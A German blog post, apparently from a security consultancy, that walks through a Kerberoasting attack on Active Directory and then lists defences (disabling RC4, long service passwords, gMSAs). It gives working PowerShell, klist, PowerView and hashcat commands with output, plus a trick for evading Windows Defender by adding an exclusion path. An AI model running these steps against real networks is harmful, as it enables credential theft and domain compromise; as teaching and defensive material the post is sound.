Kerberoasting ist eine Angriffstechnik auf das On-Premises AD, welche typischerweise von Innen heraus geführt wird. Das Ziel dieser Angriffstechnik ist es die Kontrolle über das Active Directory zu erlangen.
Das Wort Kerberoasting ist ein Kofferwort, bestehend aus dem Protokoll Kerberos V5 und “to roast”.
Beim Kerberoasting wird, aufgrund einer kryptografischen Schwäche des Algorithmus RC4, ein Kennwort im Klartext abgeleitet.
Das Klartextkennwort, welche abgeleitet wird, stammt dann von:
- einem Computerkonto
- einem Dienstkonto
beides jeweils mit Kerberos V5 konnotiert.
Kerberoasting kann mit allen Kerberos-Tickets durchgeführt werden, welche auf der Verschlüsselung RC4 basieren. Der praktikable Fokus liegt hier aber sicherlich beim Ticket Granting Service Ticket (TGS); siehe weiter unten.
Wir haben es, unabhängig von Kerberoasting, mit zwei verschiedenen Tickets bei Kerberos V5 zu tun:
- Ticket Granting Ticket (TGT): stellt die Eintrittskarte für die Kerberos-Authentifzierung dar und wird über das Dienstkonto “krbtgt” von einem RWDC ausgestellt.
- Ticket Grainting Service Ticket (TGS): stellt ein konkretes Zugriffsticket auf einen bestimmten Dienst auf einem bestimmten System dar.
Wird Kerberoasting mit einem TGT erfolgreich durchgeführt, erhält der Angreifer das Klartextkennwort vom User “krbtgt”, welches eine absolute Katastrophe darstellt (eg. Golden Ticket).
Wird Kerberoasting mit einen TGS erfolgreich durchgeführt, erhält der Angreifer das Klartextkennwort von einem Computerkonto oder von einem Dienstkonto.
Kerberoasting auf ein TGS kann, bedingt durch die Berechtigungen des Dienstes, ebenso zu einem Golden Ticket führen.
Phase 1: reconnaissance
In der Phase 1 muss der Angreifer die notwendige Konstellation aufklären:
1) Ein Dienstkonto für Kerberos V5 mit RC4-Verschlüsselung:
- es muss ein Service Principal Name (SPN) gesetzt sein und
- die Kerberos-Verschlüsselung sollte noch nicht auf AES-Verschlüsselung stehen (msDS-SupportedEncryptionTypes).
2) Das Dienstkonto sollte sehr privilegiert im sein:
- Mitglied in den Domain Admins wäre nett, oder zumindest
- die Berechtigungen “Replicating Directory Changes” und “Replicating Directory Changes All” aufweisen.
Alle nachfolgenden Schritte werden durch einen “Domain User” durchgeführt, nicht durch einen “Domain Admin” oder einen vergleichbar hoch privilegierten User.
Auflisten der attraktiven Objekte
$MightyMembers = Get-ADGroupMember -Identity “Domain Admins” -Recursive
PS C:\> $MightyMembersdistinguishedName : CN=Administrator,CN=Users,DC=CLOUD-HYBRID,DC=DE
name : Administrator
objectClass : user
objectGUID : a09dcba4-f025-4ce8-82ce-4bdbb894405a
SamAccountName : Administrator
SID : S-1-5-21-1080702413-286886757-4112139545-500distinguishedName : CN=Shitty Webservice1,CN=Users,DC=CLOUD-HYBRID,DC=DE
name : Shitty Webservice1
objectClass : user
objectGUID : a94fb38e-0372-4890-a115-ad1bdb8bdfaf
SamAccountName : ShiWe1
SID : S-1-5-21-1080702413-286886757-4112139545-1106
Geeignet für Kerberoasting?
Ansatz 1: Mitglied einer privilegierten Gruppe
Get-ADUser -Identity Administrator -Properties ‘servicePrincipalName’,’msDS-SupportedEncryptionTypes’
DistinguishedName : CN=Administrator,CN=Users,DC=CLOUD-HYBRID,DC=DE
Enabled : True
GivenName :
Name : Administrator
ObjectClass : user
ObjectGUID : a09dcba4-f025-4ce8-82ce-4bdbb894405a
SamAccountName : Administrator
SID : S-1-5-21-1080702413-286886757-4112139545-500
Surname :
UserPrincipalName :
Kein SPN, nicht geeignet.
Get-ADUser -Identity ShiWe1 -Properties ‘servicePrincipalName’,’msDS-SupportedEncryptionTypes’
DistinguishedName : CN=Shitty Webservice1,CN=Users,DC=CLOUD-HYBRID,DC=DE
Enabled : True
GivenName : Shitty
Name : Shitty Webservice1
ObjectClass : user
ObjectGUID : a94fb38e-0372-4890-a115-ad1bdb8bdfaf
SamAccountName : ShiWe1
servicePrincipalName : {HTTP/SHIWE1.CLOUD-HYBRID.DE, HTTP/SHIWE1}
SID : S-1-5-21-1080702413-286886757-4112139545-1106
Surname : Webservice1
UserPrincipalName : ShiWe1@CLOUD-HYBRID.DE
SPN vorhanden und keine AES-Verschlüsselung aktiviert: geeignet.
Ansatz 2: Privilegierte Berechtigungen gesetzt
Ein simples Aufrufen der DACL beim Default Naming Context zeigt die vergebenen Berechtigungen. Hier für den User ShiWe2@CLOUD-HYBRID.DE (aka Shitty Webservice2).
Die Frage: “Ist dieser User geeignet ist für Kerberoasting?” lässt sich wieder schnell beantworten:
Get-ADUser -Identity ShiWe2 -Properties ‘servicePrincipalName’,’msDS-SupportedEncryptionTypes’
DistinguishedName : CN=Shitty Webservice2,CN=Users,DC=CLOUD-HYBRID,DC=DE
Enabled : True
GivenName : Shitty
Name : Shitty Webservice2
ObjectClass : user
ObjectGUID : c5c8104f-d9f7-4265-896c-776638659583
SamAccountName : ShiWe2
servicePrincipalName : {HTTP/SHIWE2.CLOUD-HYBRID.DE, HTTP/SHIWE2}
SID : S-1-5-21-1080702413-286886757-4112139545-1109
Surname : Webservice2
UserPrincipalName : ShiWe2@CLOUD-HYBRID.DE
SPNs vorhanden und keine aktivierte AES-Verschlüsselung: User geeignet.
Phase 2: Erlangen eines Kerberos-Ticktes
Aus dem Bauch heraus könnte man nun vermuten, ich benötige irgendein Client-Tool um auf den Dienst zuzugreifen. Durch den Zugriff auf den Dienst via Client-Tool wird im Hintergrund das Kerberos-Ticket gelöst und wäre damit im LSA-Cache des Clients gespeichert.
Leider braucht man kein Client-Tool um an die TGS für Dienste zu kommen. Es reicht die Windows PowerShell (powershell.exe) oder eine Eingabeaufforderung (cmd.exe) um an solche Tickets zu kommen.
Windows PowerShell:
Add-Type -AssemblyName System.IdentityModel
PS C:\Users\maxm> New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList ‘HTTP/SHIWE1’Id : uuid-31c9075f-4702-4336-8369-872d4dd76e15-1
SecurityKeys : {System.IdentityModel.Tokens.InMemorySymmetricSecurityKey}
ValidFrom : 09.10.2023 12:16:39
ValidTo : 09.10.2023 19:14:21
ServicePrincipalName : HTTP/SHIWE1
SecurityKey : System.IdentityModel.Tokens.InMemorySymmetricSecurityKey
Eingabeaufforderung:
klist.exe get HTTP/SHIWE1
#2> Client: maxm @ CLOUD-HYBRID.DE
Server: HTTP/SHIWE1 @ CLOUD-HYBRID.DE
KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
Ticket Flags 0x40a10000 -> forwardable renewable pre_authent name_canonicalize
Start Time: 10/9/2023 14:18:09 (local)
End Time: 10/10/2023 0:18:09 (local)
Renew Time: 10/16/2023 11:14:21 (local)
Session Key Type: AES-256-CTS-HMAC-SHA1-96
Cache Flags: 0
Kdc Called: DC01.CLOUD-HYBRID.DE
Äh? Und nun? Was mache ich mit den Ticket Granting Service Tickets (TGS), welche für einen hochprivilegierten Dienst ausgestellt wurden und mit dem RC4-Algorithmus verschlüsselt wurden?
Jaja, ruhig Blut.
Wir müssen jetzt:
die Tickets exportieren!
Und zwar in ein Format, mit dem das Tool Hash-Cat umgehen kann. JohnTheRipper wäre auch noch so ein Tool, hier nehme ich aber HashCat.
Jetzt wird es spannend, denn die Frage lautet:
Wie exportiert man die Kerberos-Tickets?
Im Prinzip gibt es hier mindestens zwei Möglichkeiten, welche aber beide das gleiche Problem haben: der Windows Defender Antivirus wird sich hierbei quer stellen.
Möglichkeit 1: mimikatz.exe
Mit der mimikatz.exe und dem Befehl kerberos::list /export können die Tickets exportiert werden.
Hier kommen nun aber zwei Probleme beim mimikatz:
- der Windows Defender Antivirus wird das Tool blockieren und
- sind die exportierten Tickets nicht in einem Format vorliegend, mit dem das HashCat arbeiten kann.
Daher lasse ich hier mimikatz außen vor.
Möglichkeit 2: PowerView.ps1
PowerView ist ein PowerShell-Skript welches nicht nur die Tickets exportieren kann, sondern auch noch Teile der Aufklärung / Reconaissance durchführt. Plus: die Tickets liegen automatisch im richtigen Format für das HashCat vor.
Problem: Windows Defender Antivirus wird das Skript blockieren.
Wir müssen daher etwas Mogeln, damit das PowerView auf dem Rechner läuft.
Mit welchen gedanklichen Winkelzug bzw. mit welcher, an den Haaren herbeigezogener, Argumentation kann man die “Duldung” des Tools auf dem Rechner erklären?
Durch Zufall bin ich auf das Szenario gestoßen, dass bei einem HP-Notebook mit “Wolf Enterprise Security” nach der Deinstallation der Security Lösung die Ausnahmepfade in der Registry blieben. Ausnahmen bezüglich der Pfade denen der Windows Defender bitte fernbleiben möge.
%ProgramData%\Bromium\ %ProgramFiles%\HP\Sure Click\ %ProgramFiles%\HP\Security Update Service %UserProfile%\AppData\Local\Bromium\ %UserProfile%\AppData\LocalLow\Bromium\ %SystemDrive%\Users\*\AppData\Local\Bromium %SystemDrive%\Users\*\AppData\LocalLow\Bromium
Also: rasch gemogelt, in dem man C:\Users\maxm\AppData\Local\Bromium zur Ausnahmeliste hinzufügt.
Die Ausnahmen für den Windows Defender Antivirus werden in der Registry des lokalen Rechners gespeichert:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths
Somit können nun via PowerView.ps1 die gewünschten TGS beantragt und im Format für HashCat exportiert werden.
Kollege: “Dazu muss aber das Skript PowerView.ps1 gestartet werden und bei Microsoft Client-OS verhindert das doch die ExecutionPolicy, richtig?”
Ich: “Jaein, dann starte doch die PowerShell.exe mit einer anderen ExecutionPolicy.”
Kollege: “Ich bin aber kein Admin.”
Ich: “Na und?”
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -executionpolicy remotesigned
Durch das sogenannte “dot-sourcing” wird anschließend das Skript PowerView.ps1 in den Arbeitsspeicher geladen und die Funktionen werden verfügbar.
Beim “dot-sourcing” ist bei dem Skriptaufruf links ein Punkt “.” und ein Leerschritt ” ” einzufügen:
. C:\Users\maxm\AppData\Local\Bromium\PowerView.ps1
Über die Function “Get-DomainSPNTicket” kann dann das TGS beantragt werden und als Output-Format wird HashCat angegeben.
Get-NetUser -SPN | Get-DomainSPNTicket -outputformat Hashcat | Select-Object samaccountname,Hash
- Get-NetUser sucht im AD nach Benutzerobjekten mit SPNs
- Get-DomainSPNTicket holt Kerberos-Tickets (TGS) für die SPNs
- Select-Object filtert den Rückgabewert nach dem sAMAccountName und dem Hash
Phase 3: Zeit für HashCat
Alles was wir benötigen um ein Kerberoasting-Angriff zu fahren ist vorhanden:
- Die Identitäten eines oder mehrerer hochprivilegierten Dienstkonten für Kerberos V5 sind bekannt.
- Die identifizierten Dienstkonten sind noch nicht für die Verwendung von AES vorbereitet worden
- Kerberos TGS-Tickets konnten für die Dienste erlangt werden
Problem: wie knacke ich das Kennwort aus dem TGS?
Das ist die zentrale Frage beim Kerberoasting: wie komme ich schnell und effizient an das Kennwort des Dienstkontos aus dem TGS?
Hashcat bietet mehrere Lösungsansätze, wovon ich drei beleuchten möchte:
Dictionary Attack
Das wäre immer meine erste Wahl, einfach weil dieser Angriffsart sehr, sehr rasch geht und eine gewisse Trefferwahrscheinlichkeit bietet.
Bei dem “Wörterbuchangriff” hinterlegt man einen Referenzliste an “the world most shitty passwords”, welche von HashCat verwendet wird um das Ticket zu entschlüsseln.
Diese Wörterbücher gibt es wie Sand am Meer, müssen aber immer im kulturellen und geografischen Kontext des ADs betrachtet werden.
Vorteil: schnell
Nachteil: gegebenenfalls lande ich keinen Treffer.
Mask Attack
Die “mask attack” wäre meine letzte Alternative für den Angriff auf ein TGS. Hierbei macht man sich die Rechenleistung der CPUs und der GPUs zunutze und probiert einfach alle möglichen Schlüsselkombinationen aus.
Vorteil: die Hoffnung stirbt zuletzt
Nachteil: langsam, ressourcenintensiv (Strom / Rechenleistung), man schätzt recht viel (wie lang ist das Kennwort vermutlich? Welche Zeichen wurden verwendet?)
Hybrid attack
Die Mischform aus dictionary attack und mask attack: ein Teil des Kennwortes stammt aus dem Wörterbuch, der Rest wird durch mask attack ermittelt.
Vorteil: besser als nur mask attack
Nachteil: langsamer als ein Wörterbuch-Angriff.
1st run: dictionary attack
Der HashCat-Befehl lautet hierzu wie folgt:
hashcat.exe -m 13100 -a 0 -o “gotit.txt” “<hash goes here>” “Badpasswords.txt”
Bedeutet:
- hashcat.exe: Aufruf der Binärdatei
- -m 13100: HashCat-Modus für den Angriff auf TGS_REP
- -a 0: HashCat-Modul für “dictionary attack” mit der Angabe der Kennwortdatei am Ende des Befehles
- -o: geknackte Kennwörter landen in dieser Textdatei
- <hash goes here> trägt den Hash aus dem Kerberoasting
- Badpasswords.txt ist die Referenzliste mit schlechten Kennwörtern
Sieht dann mit Hash (abgekürzt wiedergegeben) etwas unübersichtlich aus:
hashcat.exe -m 13100 -a 0 -o “C:\Users\wz\Downloads\gotit.txt” “$krb5tgs$23$*ShiWe1$CLOUD-HYBRID.DE$HTTP/SHIWE1.CLOUD-HYBRID.DE*$C9D2C3B2DA87[… “C:\Users\wz\Downloads\hashcat-6.2.6\Badpasswords.txt”
2nd run: mask attack
Der HashCat-Befehlt lautet hierzu wie folgt:
hashcat -m 13100 -a 3 -o “gotit.txt” <hash goes here> ?a?a?a?a?a?a?a?a
Bedeutet:
- hashcat.exe: Aufruf der Binärdatei
- -m 13100: HashCat-Modus für den Angriff auf TGS_REP
- -a 3: HashCat-Modul für “mask attack” mit der Angabe der vermutlich verwendeten Zeichen am Ende der Eingabe.
- -o: geknackte Kennwörter landen in dieser Textdatei
- <hash goes here> trägt den Hash aus dem Kerberoasting
Die Sequenz der “?a” am Ende bedeutet:
- Anzahl der verwendeten Zeichen im Kennwort (hier: 8 Zeichen)
- Art der Verwendeten Zeichen pro Stelle (hier: a = Klein-, Großbuchstaben, Zahlen und Sonderzeichen)
Sieht dann mit Hash (abgekürzt wiedergegeben) etwas unübersichtlich aus:
hashcat -m 13100 -a 3 -o “C:\Users\wz\Downloads\gotit.txt” “$krb5tgs$23$*ShiWe2$CLOUD-HYBRID.DE$HTTP/SHIWE2.CLOUD-HYBRID.DE*$8895A7D0E21B4[…” ?a?a?a?a?a?a?a?a
114 Tage später…
Das scheint eher ein verzweifelter Ansatz zu sein, daher:
3rd run: hybrid attack
Der HashCat-Befehl lautet hierzu wie folgt:
hashcat -m 13100 -a 6 -o “gotit.txt” <hash goes here> “Badpasswords.txt” ?a
Bedeutet:
- hashcat.exe: Aufruf der Binärdatei
- -m 13100: HashCat-Modus für den Angriff auf TGS_REP
- -a 6: HashCat-Modul für “hybrid attack”; das vermutete Kennwort besteht aus einem Eintrag aus dem Wörterbuch und x Zeichen, welche via mask attack ausprobiert werden.
- -o: geknackte Kennwörter landen in dieser Textdatei
- <hash goes here> trägt den Hash aus dem Kerberoasting
- Badpasswords.txt ist die Referenzliste mit schlechten Kennwörtern
Die Sequenz des “?a” am Ende bedeutet:
Anzahl der verwendeten Zeichen an Ende des Kennwortes (hier: 1 Zeichen)
Art der Verwendeten Zeichen pro Stelle (hier: a = Klein-, Großbuchstaben, Zahlen und Sonderzeichen)
Sieht dann mit Hash (abgekürzt wiedergegeben) etwas unübersichtlich aus:
hashcat -m 13100 -a 6 -o “C:\Users\wz\Downloads\gotit.txt” “$krb5tgs$23$*ShiWe2$CLOUD-HYBRID.DE$HTTP/SHIWE2.CLOUD-HYBRID.DE*$8895A7D0E21B458F[…” “C:\Users\wz\Downloads\hashcat-6.2.6\Badpasswords.txt” ?a
Sch…ade!
Kerberoasting liefert mir, je nach Voraussetzung, relativ schnell Klartextkennwörter von Diensten, ohne dass eine Berechtigungseskalation stattgefunden haben muss.
Es kann durch jeden authentifizierten Benutzer (User und Computer) durchgeführt werden und hängt einzig und allein an der RC4-Verschlüsselung im Kerberos V5-Protokoll.
“Was tun?”, spricht Zeuss.
Die guten Nachricht: diese Art von Angriff ist einfach durchzuführen aber auch einfach abzuwehren.
1. Alles auf AES erweitern und RC4 abschalten!
Leichter geschrieben als getan; dennoch: das RC4-Verschlüsselung muss aus dem Kerberos V5-Protokoll verschwinden und im Gegenzug natürlich alles um die Verwendung auf AES erweitert werden.
Wenn das nicht geht, sollte, zumindest vorrübergehend, die Punkte 2 und 3 reichen.
2. Lange und komplexe Kennwörter für die Dienste verwenden
- 120 Zeichen länge
- volle Komplexität
- zufällige Zeichenfolgen
- KEINE: Sätze, Wörter oder sonstige Zusammensetzungen
3. gMSAs wo immer es möglich ist einsetzen
Group Managed Service Accounts (gMSAs) verwenden lange und komplexe Kennwörter (siehe 2.), die auch noch alle x Tage geändert werden (in der Regel alle 30 Tage, was aber zu lang ist).
gMSAs sollten gleich so angelegt werden, dass diese sofort die AES-Verschlüsselung im Kerberos V5-Protokoll unterstützen.
nv0hUgFaG**gt4ak9#swUMje
0KnhfI@U9^0uEyYhsO16ZWCG
oWXSE@!aNBZC14t6vxhZOB#0
mNzsDMpBIa4NM9Qa3PXghE@k
p%jqOO1MktJTATLjIjDT1I7d
Wer tut das?
Q: Wer kann unterstützen, wenn ich mir das nicht zutraue?
Q: Wer kann die Folgen abschätzen?
A: Wir, die IQUnit IT GmbH durch
